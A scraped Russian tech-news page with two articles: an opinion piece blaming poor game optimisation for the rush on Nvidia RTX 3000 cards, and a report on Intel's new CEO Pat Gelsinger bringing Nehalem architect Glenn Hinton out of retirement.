Но тут Nvidia выпускает потребительские видеокарты для геймеров с использованием той же технологии. Это как если бы Intel с 2016 года клепал серверные процессоры на литографии в 2 нм для суперкомпьютеров, каждый из которых стоил бы $10 тыс. и более, а тут внезапно вбросил бы новую серию Intel Core по $500 за штуку на той же технологии. Очередь бы выстроилась знатная.

Для Nvidia все выглядело красиво: больше мощностей по меньшей, по сравнению с триумфальной серией RTX 2000, цене, научная архитектура в компьютерах геймеров, поддержка большего разрешения и так далее и так далее. Вот только в коридорах Nvidia не ожидали, насколько потребитель нуждается в мощной видеокарте и что RTX 2080 Ti уже давно не удовлетворяет всех потребностей рынка.

Хотя RTX 3000 серии не показывает кратного превосходства над RTX 2080 и RTX 2080 Ti, а грядущий хит продаж бюджетная карточка RTX 3070 всего на десяток процентов производительнее флагмана предыдущего поколения (вдвое меньшую стоимость мы пока опустим), рынок по-настоящему нуждается в этих видеокартах.

Давайте немного проанализируем, чем меряются производители пользовательского железа на своих презентациях, то есть каких попугаев для демонстрации своего превосходства они используют.

Нанометры, число ядер, частоты, TDP и так далее


Если говорить о процессорах и видеокартах, то главным аргументом любого спикера, прогуливающегося по сцене и представляющего новый продукт публике, будет нанометраж техпроцесса и количество логических и прочих ядер. Сколько потоков, какой термопакет у нового камня, какую систему охлаждения придумали прикованные к батареи дизайнеры в недрах компании.

Само собой, идет абстрактное сравнение производительности с оборудованием конкурентов и с оборудованием собственного производства, но предыдущего поколения. Все это придает презентации фактуры и заставляет аудиторию качать головой в такт увещеваниями спикера.

На самом деле, тут иронии минимум. Компании на самом деле добиваются впечатляющих результатов по всем этим параметрам. Особенно радует TDP процессоров красного лагеря: AMD последовательно увеличивает производительность своих камней, при этом удерживаясь в стандартном термопакете уровня 65-105 Вт. Это позволяет не городить огромные системы охлаждения, как во времена электровафельниц поколения FX, неадекватно большой термопакет которых стал легендой.

FPS в играх


А вот этот параметр всегда стоит отдельно. Как это не удивительно, но и на презентации центральных процессоров, и на презентации видеокарт всегда показывают количество кадров в секунду в самых последних и популярных играх. Вот, последние годы от презентации к презентации мелькают Fortnite, Call of Duty, Battlefield, Apex Legends, Control короче, все те игры, которые на максимальных настройках графики делают видеокарте больно. Вот в этом году делали больно в разрешении 8к.



Для закрепления можно показать точно такой же по своей сути слайд с презентации процессоров Ryzen 5000 серии, которая прошла около двух недель назад:



И все эти столбцы всегда выглядят очень красиво и приятно. С каждым поколением производительность видеокарт и центральных процессорах в играх растет, а именно для игр это железо, в основной своей массе, и производится. Вот только все не так просто.

Почему все геймеры мира хотят оторвать разработчикам игр руки


Одна из главных причин, по которой геймеры всего мира бросились заказывать новые RTX 3080 и RTX 3090 в надежде заполучить карточку любой ценой не в тупости этих самых геймеров, и даже не в желании опробовать революционные 8к и так далее. Главная причина желание получить хоть сколько-нибудь стабильную производительность, которая бы соответствовала бы возможностям современной периферии, в первую очередь, мониторам.

Для людей, далеких от игровой индустрии расскажу одну тайну: 60 FPS уже давно не стандарт. Да, почему-то на презентациях производители до сих пор говорят о стабильных 60 кадрах в секунду, как будто бы эта производительность дает идеальный игровой опыт, но суть в том, что на рынке игрового оборудования уже давным-давно доминируют мониторы с частотой обновления экрана в 144 Гц, а на пятки им, стремительно дешевея, наступают мониторы с частотой 240 Гц.

Это значит, что для плавной картинки на этих экранах нужен и соответствующий FPS: 144 и 240 кадров соответственно.

И вот тут кроется корень проблем всей индустрии. Если раньше высокогерцовые экраны были прерогативой киберспорта, игроков в CS:GO и Quake, то теперь 144 Гц если у любого уважающего себя игрока. 60 кадров остались в далекой древности: сейчас это стандарт для бюджетных офисных мониторов, потому что частота в 144 Гц дает ощутимое преимущество.

Описать на словах эффект от высокогерцового монитора сложно, но я попробую: представьте, что все внезапно стало двигаться чуть медленнее и намного плавнее. В движении пропадает эффект размытия и вы начинаете замечать малейшие детали. Вращение камеры вокруг всоей оси больше не вызывает дезориентацию, вы продолжаете четко видеть окружающий персонажа мир. На рабочем столе движение курсора теперь намного более явно: если на 60 Гц при резком движении мышью вы зафиксируете взглядом курсор мыши в 5-6 местах, то уже на 144 Гц вы увидите его одновременно в 15-20 точках. На 240 Гц экранах эффект еще более впечатляющий, вы буквально взглядом сможете зафиксировать весь путь курсора мыши на высокой скорости. Для иллюстрации хорошо подходит знаменитый кадр из CS:GO, который демонстрирует разницу в тикрейтах сервера. Примерно то же происходит на высокогерцовых мониторах в плане отрисовки движения:



Именно поэтому, для четкого отображения происходящего в малейших деталях, все геймеры планеты уже плавно перешли на 144 и 240 Гц дисплеи, а кто не перешел либо мечтает перейти, либо играет исключительно в пасьянс.

Но при этом нас до сих пор настойчиво убеждают, что 60 FPS достаточное значение производительности. На этот параметр ориентируются разработчики игр, ориентируются производители железа. Однако как только речь заходит о работе игры в стабильных 144 FPS или, боже упаси, 240 FPS, пусть и на минимальных настройках графики, начинает происходить непонятное: ни одно существующее оборудование не может толком справиться с этой задачей.

Давайте возьмем две самые косорукие игры современности в плане перфоманса: Call of Duty: Warzone и Apex Legends. Обе делались совершенно разными студиями. Первая производства Activision Blizzard, вторая Respawn Entertament под патронажем Electronic Arts. Обе из популярного жанра Battle Royale, обе имеют обширные карты и огромную фанбазу.

Для обоих игр буквально с момента их релиза инженеры Nvidia истерично клепают патчи видеодрайвера, чтобы хоть как-то заставить их работать. Именно инженерные команды драйверописателей уж точно в курсе, что игрокам глубоко плевать на 60 FPS, вертикальную синхронизацию и все то, что увеличивает инпутлаг. Им нужны максимально высокие стабильные кадры хотя бы на топовых видеокартах.

Если вы не верите этому утверждению, можете погуглить сами: в сети сотни статей о повышении FPS в Call of Duty и Apex Legends, сотни тредов о конфигах, которые бы уменьшали графику или убирали лишние модели для снижения нагрузки на видеокарты, а так же масса рассказов о шаманизме, разгоне железа и прочих плясках с бубном.

Просадки производительности в топовых онлайн-играх, особенно в динамичных шутерах болезненная реальность игровой индустрии последних лет. Разработчики буквально забивают болт на производительность своих продуктов за пределами 60 FPS и включенной вертикальной синхронизации, которая погружает камеру в кисель и создает чудовищный инпутлаг, чем вынуждают игроков вкладываться во все более и более мощное оборудование.

Скажу больше, все настолько плохо, что RTX 2080 Ti в указанных играх способны выдавать стабильные 144-190 кадров в секунду только при минимальных конфигурациях графики, но даже при этом иногда случаются дропы FPS! Любая граната, блик или огонь в кадре и все, ваши фреймы машут вам рукой и говорят ну, как это закончится, наберешь, FPS проседает до сотни.

Ситуация достигла уже такой шизы, что Nvidia приходится на своем официальном сайте выпускать официальные гайды по настройке видеокарты и графики в игре, чтобы выжать из нее необходимые комфортные для игроков значения кадров!



Именно по этой причине значительная часть геймеров и ломанулась покупать новые RTX 3080 и RTX 3090, просто в надежде, что уж на этих-то картах любимые игры смогут работать стабильно хотя бы на минимальных настройках графики.

Это не заговор, это нулевая культура разработки


Сейчас рынок находится буквально в западне. С одной стороны с каждым годом выходит все более и более мощное оборудование. Банально память DDR4-1600, которая лет пять назад считалась неплохой, сейчас уже перешла в категорию медленной офисной, а топовые когда-то DDR4-2400 сейчас просто середняк. То же происходит с процессорами, видеокартами, скоростью дисков и так далее и так далее.

Неискушенному пользователю, далекому от гейминга, может показаться, что конфигурации из i9-10900k, DDR4-3200, разогнанной до 4000 Mhz, все это с быстрым SSD и RTX 2080 Ti должно хватать для чего угодно на ультра настройках, но правда в том, что эта конфигурация с трудом обеспечивает 144-200 FPS в новых проектах. Вычеркните из списка выше любую составляющую и вставьте что-то попроще и дешевле, например, RTX 2060S или core i7, и показатели кадров упадут минимум на 30%.

И виной всему не жадность производителей оборудования, а именно косорукость разработчиков и жажда наживы их издателей.

На тестирование и оптимизацию потребления ресурсов в 2019-2020 годах в индустрии был забит настолько большой болт, что будь он реальным, его было бы видно с МКС. Самый лучший пример, это сравнение Apex Legends и предыдущей игры Respawn Entertament Titanfall 2.



Первая делалась в спешке, под постоянным давлением со стороны издателя, который бубнел над ухом команды разработки нам срочно нужен свой батлрояль со скинами и лутбоксами. В итоге мы получили перспективный в плане геймплея проект (он опирается на многие механики и лор Titanfall 2), с абсолютно нулевой оптимизацией и отвратительным неткодом.

Titanfall 2, который вышел в 2016 году, почти всегда выглядит лучше и работает в разы стабильнее даже на средних конфигурациях железа, нежели быстро слепленный ради создания конкуренции PUBG и Fortnite модный Apex Legends. Не знакомый с проектами человек вообще посчитает, что Apex вышел в 2015-2016 году, а Titanfall 2 свежий релиз, если показать их ему одновременно, хотя все с точность, да наоборот.

Та же мрачная история происходит и с Call of Duty и прочими свежими проектами. Потребитель превратился в бесконечного бета-тестера, которому постоянно приходится выбирать между покупкой нового, более мощного железа, либо лагами.

Кстати, именно по этой причине многие с сомнением смотрят на будущее новых Xbox и PS5: если даже современные ПК толком не справляются с современными играми, то что смогут консоли? Будут ли сетевые кроссплатформенные проекты достаточно оптимизированными для игры в них? Опыт PS4 Pro и Call of Duty или Apex Legends показывает, что консоли банально не справляются с продуктами, которые почти полностью состоят из кода сомнительного качества. А про размеры Call of Duty в 200+ Гб уже просто ходят легенды.

Как это изменить


Я надеюсь, что когда-нибудь Nvidia надоест тратить силы и ресурсы на выпуск бесконечных патчей драйверов, которые улучшают производительность в проблемных популярных играх. За последние два-три года, с ростом популярности Fortnite, Apex Legends и Call of Duty Warzone компания-производитель оборудования выпустила столько патчей драверов и технологий, которые бы улучшали перфоманс в этих проектах (чего стоит хотя бы Nvidia Reflex, которая значительно снижает инпутлаг в Apex Legends и Warzone программным путем), что начинает кружится голова. Я за этот срок обновлял драйвера чаще, чем за предыдущие 10 лет вместе взятые.


Абсолютно привычная картина при входе в NVIDIA GeForce Experience

Выход из этой ситуации видится только один. Прекратить порочную практику тяп-ляп и в проду, а Nvidia потом выкатит оптимизационный патч возможно только в случае, если сами Nvidia объявят, что разработчики игр ведут себя, мягко говоря, нехорошо, и забили болт на оптимизацию. Должна случиться еще одна война в стиле Epic Games VS Apple только в этом случае с одной стороны будет производитель видеокарт, а с другой игровые издатели, которые стоят с плетью и погоняют разработчиков, требуя от них новых лутбоксов и сезонов в ущерб качеству фундаментального кода.

Но случится это, только если Nvidia наконец-то пересилит свое желание продать как можно больше флагманских карт и выступит против творящейся в игровой индустрии вакханалии, у нас есть шанс получить нормальную производительность в игровых проектах и отсутствие ажиотажного спроса на новые модели видеокарт.

Вот только верится в это с трудом.
Подробнее..

Новый глава Intel вернул с пенсии ведущего архитектора Nehalem

22.01.2021 14:05:41 | Автор: admin


Новый генеральный директор Пэт Гелсингер до своего ухода из Intel работал в компании 30 лет и поднялся до ранга CTO, потом ушёл. Теперь его возвращение и назначение на должность CEO считают признаком выздоровления Intel. Возможно, компания сможет переломить тренд и вернуться на лидирующие роли в бизнесе. Однако нужен кардинальный технологический прорыв. А кто для него подойдёт лучше, чем бывший технический директор Пэт Гелсингер, главный технарь в компании?

Гелсингер с первых дней оправдывает ожидания, которые на него возлагают. Он начал с того, что возвращает на работу в компанию ведущих инженеров и архитекторов CPU, своих бывших коллег.

Хотя Гелсингер официально вступит в должность только 15 февраля, но его возвращение уже вызвало ажиотаж среди сотрудников научно-исследовательских команд Intel, пишет AnandTech.

Последняя новость возвращение на работу старшего научного сотрудника Гленна Хинтона, который был ведущим архитектором ядра Nehalem, а последние три года провёл на пенсии. Другие ведущие архитекторы Nehalem Ронак Сингал и Пер Хаммерлунд. Первый и сейчас работает в Intel над процессорами следующего поколения, а второй уже пять лет работает в Apple.


Анонс Nehalem на стенде 12-летней давности

Nehalem микроархитектура процессоров компании Intel, представленная в IVкв. 2008года, для ядра Bloomfield в исполнении LGA 1366 и для ядра Lynnfield в исполнении LGA 1156.

Микроархитектура построена на базе Core, но с кардинальными изменениями, включая новый встроенный контроллер памяти, новую шину QPI вместо FSB, возможность встроить графический процессор, кэш 3-го уровня и поддержку Hyper-threading.


Микроархитектура Intel Nehalem в 4-ядерной реализации

Гленн Хинтон тоже ветеран Intel с 35-летним опытом работы (профиль на LinkedIn). Кроме роли архитектора Nehalem, он был ведущим разработчиком микроархитектуры Pentium 4, одним из трёх ведущих архитекторов Intel P6 (из которого вышли Pentium Pro, P2 и P3) и, в конце концов, одним из создателей базовой архитектуры Intel Core, которая до сих пор находится на переднем крае технологий Intel.

Он также ведущий архитектор Intel i960 CA, первого в мире суперскалярного микропроцессора. На Хинтона зарегистрировано более 90 патентов из восьми микропроцессорных проектов, в которых он участвовал. Хинтон ещё более десяти лет работал в Intel после выхода Nehalem, но именно микроархитектура Nehalem везде упоминается как его главное достижение.

На своей страничке в LinkedIn Хинтон пишет, что будет работать над захватывающим проектом высокопроизводительного процессора.



В комментариях также говорится, что если бы проект не был таким интересным, я бы не вернулся как вы знаете, выход на пенсию чертовски приятен.



Гленн сказал, что обдумывал этот шаг с ноября, а финальным фактором, который склонил чашу весов в пользу этого решения стало возвращение в компанию Гелсингера.

Коллеги из компании Intel высказали мнение, что Гленн не единственный бывший архитектор Intel, который может вернуться в компанию. В последние годы несколько архитекторов и ведущих специалистов ушли из Intel к конкурентам, таким как AMD и Apple. Возможно, кого-то переманят назад.

AnandTech пишет, что возвращение с пенсии ведущего архитектора CPU для работы над новым проектом крайне нетривиальное событие. Можно предположить, что проект нового процессора действительно необычный и захватывающий. Кроме того, подобные проекты требует нескольких лет разработки, поэтому недавний пенсионер Хинтон подписывает долгосрочный рабочий контракт.

Подробности о новом проекте пока не разглашаются. Мы не знаем, что это такое. Нет уверенности даже, что новый CPU основан на архитектуре x86.

Intel сейчас оказалась в крайне тяжёлой ситуации. Новый процессор Apple M1 на микроархитектуре ARM практически не уступает по производительности топовым процессорам Intel, а по энергоэффективности превосходит их.



Впервые за 15 лет компания, не имеющая лицензии x86, создаёт микропроцессор для потребительского рынка, который вполне может конкурировать с чипами x86. Если Apple сохранит или улучшит свои позиции по отношению к Intel и AMD, это заметят и другие компании с лицензиями на ARM. Nvidia, которая купила ARM в ожидании одобрения регулятора, безусловно, заметит это. Если ARM может превзойти x86, то вся экосистема WinTel уязвима так, как этого не было с самого начала эпохи персональных компьютеров, пишет Stratechery. Падение Intel от короля индустрии к наблюдателю началось уже в 2005 году: несмотря на то, что у Intel имелась лицензия ARM для производства XScale, компания не захотела сосредоточиться на энергоэффективности, а предпочла диктовать дизайн клиентам, таким как Apple, рассматривая их новый iPhone, вместо того, чтобы попытаться приспособиться под них (как это сделала TSMC).



Так что новый процессор Intel тоже может быть основан и на архитектуре ARM. Так или иначе, но реальные результаты работы увидим только через 3-5 лет.

Известно, что в Intel несколько групп разработки работает над разными проектами. Мы видим постоянное обновление архитектуры Skylake, а также первые итерации ядра Cypress Cove, которое включает 10-нм ядро Ice Lake (портировано на 14-нм) и графику из Tiger Lake.





Это реальные продукты, которые выходят на рынок.

В то же время другие проектные группы работают над CPU следующего поколения и того поколения, которое будет за ним. Единственным препятствием к выходу этих инновационных процессоров является производство. Революционные процессоры остаются на бумаге просто потому, что заводы Intel просто физически не в состоянии реализовать замыслы архитекторов.

Сегодня уже дошло до того, что Intel размещает заказы на фабриках TSMC, потому что у той более продвинутое оборудование и есть возможность производить более современные микросхемы по техпроцессу 5нм.

Но сотрудники и акционеры Intel надеются, что Пэт Гелсингер повернёт компанию в другую сторону и изменит культуру Intel. Новый генеральный директор реально может проводить совещания с инженерами и по-настоящему обсуждать дизайн процессоров. Предыдущие руководители Intel не могли этого делать, потому что не обладали столь глубокими техническими знаниями.


Пэт Гелсингер во времена работы техническим директором Intel демонстрирует процессоры Intel Itanium 2

Таланты хотят работать с талантами, а грамотные инженеры с другими грамотными инженерами. Мы уже сейчас видим, что технический бэкграунд и авторитет Гелсингера заставляет вернуться с пенсии архитектора CPU для работы над новыми проектами и это ещё до того, как Гелсингер официально заступил в должность.
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru